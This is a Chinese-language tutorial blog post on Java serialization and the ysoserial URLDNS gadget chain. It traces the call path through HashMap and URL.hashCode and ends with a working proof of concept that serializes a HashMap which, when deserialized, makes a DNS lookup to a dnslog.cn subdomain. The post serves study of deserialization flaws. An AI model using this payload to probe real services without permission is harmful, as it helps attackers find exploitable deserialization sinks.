0x01 序列化

序列化小栗子

Main.java

package com.time.Serializable;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class Main {
public static void main(String[] args) throws Exception{
FileOutputStream out = new FileOutputStream("person");//创建文件
ObjectOutputStream obj = new ObjectOutputStream(out);//序列化输入流

obj.writeObject(new Person("Time",27));//将数据序列化后写入person
}
}

Person

package com.time.Serializable;

public class Person implements java.io.Serializable{
public String name;
public int age;

Person(String name, int age) {
this.name = name;
this.age = age;
}
}

FileOutputStreamObjectOutputStream是java的流操作,可以把OutputStream当做一个单向流出的水管,FileOutputStream打开了文件,就相当于给文件接了一个File类型水管,然后把FileOutputStream类型对象传给了ObjectOutputStream,相当于把File类型水管接到了Object类型水管。

由于Object类是所有类的父类,所以Object类型水管可以投放任何对象,

这里创建了Person对象并传给writeObject方法,
相当于把Person对象扔进了Object类型水管,即 Person对象->Object类型水管->File类型水管->文件
这样就把Person对象写入了文件,

java输入输出流的方式处理数据真聪明
如果我想把序列化对象写入byte数组,那就创建个byteArrayOutputStream类型水管,然后,把它接到Object类型水管上,后面步骤不变,则:Person对象->Object类型水管->byte类型水管->byte数组

​ - 摘抄 FreeBuf 用户z3 Java代码审计系列

个人觉得上面解释的非常详细了,大佬YYDS

使用SerializationDumper工具查看序列化后的内容。

image-20220104174558426

image-20220104174712009

红框里面是类、属性名、成员变量值。

0x02 反序列化

小栗子:

Main.java

package com.time.Serializable;

import java.io.FileInputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;

public class Main {
public static void main(String []args) throws Exception{
FileInputStream in =new FileInputStream("person");
ObjectInput obj_in = new ObjectInputStream(in);
Person p = (Person) obj_in.readObject();
System.out.println("名称:" + p.name +",年龄:"+ p.age);

}
}

把单向流出的水管换为单向流入的(Output换为Input),然后把写入数据的writeObject换为readObject,即:序列化数据person.txt->File类型水管->Object类型水管->Object对象。
(Person)这个用法是强制类型转换,将Object转Person类型

0x03 URLDNS

URLDNS 是 ysoserial 中的基础链,不依赖第三方库,当然也不能执行任何命令,只能发送一个dnslog的请求。

ysoserial工具中给出的 URLDNS 链

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

上面是作者给出的调用链,hashCode 中调用了 getHostAddress 来发送 dns 请求。


尝试自己写 URL.hashCode() 看看触发流程

package ysoserial.payloads;

import java.net.URL;

public class getURLDNS{
public static void main(String[] args) throws Exception{
URL url = new URL("http://hevjd6.dnslog.cn");
url.hashCode();
}
}

image-20220312034603702

image-20220312034625705

跟进 url.hashCode()

image-20220312034758362

当 hashCode = -1 会调用 URLStreamHandler.hashCode 方法

image-20220312035035146

hashCode 会调用 getHostAddress 解析我们传入的 dns 地址。


而作者给的 payload 中说明了 ht.put 也能触发调用链

测试代码

package ysoserial.payloads;

import java.net.URL;
import java.util.HashMap;

public class getURLDNS{
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL("http://nx4enr.dnslog.cn");
hashMap.put(url,"time");
}
}

image-20220312042604914

跟进 put

image-20220312042632456

可以看见调用了 putVal方法,这里传的 key和value 都是 dns 地址,并调用了 hash 处理 key

image-20220312042714195

key 值不为空,调用 key.hashCode()

image-20220312042810221

这里 hashCode 值默认为 -1,则会调用handler.hashCode,handler修饰符

image-20220312042819497

transient 关键字表示变量不被序列化,应该是这里的hashCode值不被序列化。

跟进 hashCode

image-20220312042905581

同 url.hashCode() 都调用了同一段代码,使用 getHostAddress 解析了 dns 地址。


继续看作者给的 payload

image-20220312043410186

定义了 SilentURLStreamHandler 静态类,并且类中定义了 getHostAddress 方法 和 openConnection 方法。

直接测试作者给的代码,在 RUN/DEBUG 中配置如下

image-20220312040300275

直接跟到 getHostAddress()

image-20220312041613007

跳转到了作者编写的 getHostAddress() 返回 null,没有解析 dns

image-20220312043743591

这是为什么?网上看大佬们的文章才了解,主要为了在生成 payload 期间多次执行,防干扰用的。

0x04 payload Test

package ysoserial.payloads;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class danDemo {
public static void main(String[] args) throws Exception{
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url= new URL("http://fg0a7x.dnslog.cn");
//通过反射获取 hashCode 方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);//绕过Java语言权限控制检查的权限
f.set(url,0xdeadbeef);//hashCode第一次默认为 -1 会触发执行dns payload,所以这里设置为任意值,防止触发
hashMap.put(url, "time"); //这里传入任意值,不为 -1 同上 防止触发

f.set(url,-1); //重新设置为-1 ,确保反序列化的时候触发。

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fanxlh.bin"));
oos.writeObject(hashMap); //将序列化的内容写入到bin文件中

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("fanxlh.bin"));
ois.readObject();//反序列化会触发调用

}

}

image-20220312050042250

可以看见使用 for循环 将 key 和 value 分别反序列

image-20220312050352881

并调用了 putVal(hash(key), key, value, false, false)

image-20220312050426808

之后的流程就和上面分析的一样了

image-20220312050455990

image-20220312050508253

image-20220312050546927

0x05 总结

这个链主要是因为 HashMap 实现了 Serializable 接口,并且重写了 readObject 和 writeObject 方法。

给 HashMap 中传入 URL 对象,然后使用 HashMap.readObject 执行反序列化操作时,会调用 putVal 方法,而 putVal 是往 HashMap 写入键值对的方法,会 调用 hash 对 key 进行 hashCode 值计算 ,由于是 URL 对象,所以最后会调用 URLStreamHandler.hashCode 来解析 DNS 地址。

JAVA反序列化RCE触发流程(三要素)

  • readobject 反序列化利用点
  • 利用链
  • RCE触发点

0x06 参考链接

https://www.freebuf.com/articles/web/308461.html

https://mp.weixin.qq.com/s/ExcPN0HcSJROtE2_vVI6Hg

https://xz.aliyun.com/t/9116

https://xz.aliyun.com/t/9417#toc-2

https://www.anquanke.com/post/id/201762

P神代码审计-Java安全漫谈-反序列化2